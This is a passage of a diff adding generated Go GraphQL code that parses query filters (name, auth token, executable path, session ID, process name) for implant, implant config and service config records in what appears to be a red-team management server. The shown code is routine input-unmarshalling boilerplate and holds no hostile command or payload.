return it, err + } + case "id": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "hasImplantConfigs": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantConfigs")) + it.HasImplantConfigs, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasImplantConfigsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantConfigsWith")) + it.HasImplantConfigsWith, err = ec.unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputImplantConfigWhereInput(ctx context.Context, obj interface{}) (ent.ImplantConfigWhereInput, error) { + var it ent.ImplantConfigWhereInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "not": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + it.Not, err = ec.unmarshalOImplantConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInput(ctx, v) + if err != nil { + return it, err + } + case "and": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + it.And, err = ec.unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "or": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + it.Or, err = ec.unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "name": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) + it.Name, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) + it.NameNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) + it.NameIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) + it.NameNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) + it.NameGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) + it.NameGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) + it.NameLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) + it.NameLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) + it.NameContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) + it.NameHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) + it.NameHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) + it.NameEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) + it.NameContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtoken": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtoken")) + it.AuthToken, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenNEQ")) + it.AuthTokenNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenIn")) + it.AuthTokenIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "authtokenNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenNotIn")) + it.AuthTokenNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "authtokenGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenGT")) + it.AuthTokenGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenGTE")) + it.AuthTokenGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenLT")) + it.AuthTokenLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenLTE")) + it.AuthTokenLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenContains")) + it.AuthTokenContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenHasPrefix")) + it.AuthTokenHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenHasSuffix")) + it.AuthTokenHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenEqualFold")) + it.AuthTokenEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "authtokenContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("authtokenContainsFold")) + it.AuthTokenContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "id": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "hasImplants": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplants")) + it.HasImplants, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasImplantsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantsWith")) + it.HasImplantsWith, err = ec.unmarshalOImplantWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "hasServiceConfigs": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasServiceConfigs")) + it.HasServiceConfigs, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasServiceConfigsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasServiceConfigsWith")) + it.HasServiceConfigsWith, err = ec.unmarshalOImplantServiceConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "hasCallbackConfigs": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCallbackConfigs")) + it.HasCallbackConfigs, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasCallbackConfigsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCallbackConfigsWith")) + it.HasCallbackConfigsWith, err = ec.unmarshalOImplantCallbackConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputImplantServiceConfigWhereInput(ctx context.Context, obj interface{}) (ent.ImplantServiceConfigWhereInput, error) { + var it ent.ImplantServiceConfigWhereInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "not": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + it.Not, err = ec.unmarshalOImplantServiceConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInput(ctx, v) + if err != nil { + return it, err + } + case "and": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + it.And, err = ec.unmarshalOImplantServiceConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "or": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + it.Or, err = ec.unmarshalOImplantServiceConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "name": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) + it.Name, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) + it.NameNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) + it.NameIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) + it.NameNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) + it.NameGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) + it.NameGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) + it.NameLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) + it.NameLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) + it.NameContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) + it.NameHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) + it.NameHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) + it.NameEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) + it.NameContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "description": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("description")) + it.Description, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionNEQ")) + it.DescriptionNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionIn")) + it.DescriptionIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "descriptionNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionNotIn")) + it.DescriptionNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "descriptionGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionGT")) + it.DescriptionGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionGTE")) + it.DescriptionGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionLT")) + it.DescriptionLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionLTE")) + it.DescriptionLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionContains")) + it.DescriptionContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionHasPrefix")) + it.DescriptionHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionHasSuffix")) + it.DescriptionHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionEqualFold")) + it.DescriptionEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "descriptionContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("descriptionContainsFold")) + it.DescriptionContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepath": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepath")) + it.ExecutablePath, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathNEQ")) + it.ExecutablePathNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathIn")) + it.ExecutablePathIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "executablepathNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathNotIn")) + it.ExecutablePathNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "executablepathGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathGT")) + it.ExecutablePathGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathGTE")) + it.ExecutablePathGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathLT")) + it.ExecutablePathLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathLTE")) + it.ExecutablePathLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathContains")) + it.ExecutablePathContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathHasPrefix")) + it.ExecutablePathHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathHasSuffix")) + it.ExecutablePathHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathEqualFold")) + it.ExecutablePathEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "executablepathContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("executablepathContainsFold")) + it.ExecutablePathContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "id": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "hasImplantConfigs": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantConfigs")) + it.HasImplantConfigs, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasImplantConfigsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantConfigsWith")) + it.HasImplantConfigsWith, err = ec.unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputImplantWhereInput(ctx context.Context, obj interface{}) (ent.ImplantWhereInput, error) { + var it ent.ImplantWhereInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "not": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + it.Not, err = ec.unmarshalOImplantWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInput(ctx, v) + if err != nil { + return it, err + } + case "and": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + it.And, err = ec.unmarshalOImplantWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "or": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + it.Or, err = ec.unmarshalOImplantWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "sessionid": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionid")) + it.SessionID, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidNEQ")) + it.SessionIDNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidIn")) + it.SessionIDIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "sessionidNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidNotIn")) + it.SessionIDNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "sessionidGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidGT")) + it.SessionIDGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidGTE")) + it.SessionIDGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidLT")) + it.SessionIDLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidLTE")) + it.SessionIDLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidContains")) + it.SessionIDContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidHasPrefix")) + it.SessionIDHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidHasSuffix")) + it.SessionIDHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidEqualFold")) + it.SessionIDEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "sessionidContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionidContainsFold")) + it.SessionIDContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processname": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processname")) + it.ProcessName, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameNEQ")) + it.ProcessNameNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameIn")) + it.ProcessNameIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "processnameNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameNotIn")) + it.ProcessNameNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "processnameGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameGT")) + it.ProcessNameGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameGTE")) + it.ProcessNameGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameLT")) + it.ProcessNameLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameLTE")) + it.ProcessNameLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameContains": + var err error + + ctx := graphql.WithPathContext(ctx, 